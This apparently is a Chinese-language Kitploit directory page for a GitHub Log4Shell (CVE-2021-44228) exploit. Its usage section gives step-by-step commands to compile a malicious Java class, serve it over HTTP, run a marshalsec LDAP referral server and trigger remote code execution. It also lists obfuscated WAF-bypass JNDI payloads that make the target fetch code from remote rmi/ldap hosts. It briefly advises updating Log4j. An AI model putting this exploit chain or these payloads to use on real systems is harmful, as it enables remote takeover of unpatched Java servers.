Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228 — 此Log4j RCE漏洞利用源自https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce | Kitploit
工具/GitHubGitHub/roxas-tan/cve-2021-44228
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过远程访问工具
GitHubroxas-tan/cve-2021-44228

CVE-2021-44228

此Log4j RCE漏洞利用源自https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

查看仓库
107324年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228 (Apache Log4j 远程代码执行)

所有 log4j-core 版本 >=2.0-beta9 且 <=2.14.1

1.x 版本存在其他漏洞,建议更新至最新版本。

与 Log4Shell(CVE-2021-44228)相关的安全公告/通报

使用方法:

下载本项目,编译漏洞利用代码 blob/master/src/main/java/Exploit.java,并启动一个 Web 服务器以允许下载编译后的二进制文件。

git clone https://github.com/roxas-tan/CVE-2021-44228.git
cd CVE-2021-44228

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure the python webserver is running in the same directory as Exploit.class, to test
  curl -I 127.0.0.1:8888/Exploit.class

下载另一个项目并运行 LDAP server implementation returning JNDI references* https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

构建并运行激活代码(模拟对易受攻击的 Java Web 服务器的 log4j 攻击)blob/master/src/main/java/log4j.java,计算器应用将出现。

cd CVE-2021-44228
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# Expect the following
# 1. calculator app appears
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -

提示:

不要依赖当前 Java 版本来拯救你。更新 Log4j(或移除 JNDI 查找)。禁用扩展(无论如何这似乎是一个糟糕的主意)。

绕过 rc1

例如:

${jndi:ldap://127.0.0.1:1389/ badClassName}

绕过 WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

不要信任 Web 应用防火墙。

漏洞详情

Lookups 提供了一种在任意位置向 Log4j 配置添加值的方式。

Lookups

在 finally 中导致泄露的方法

LogManager.getLogger().error()
LogManager.getLogger().fatal()
下载工具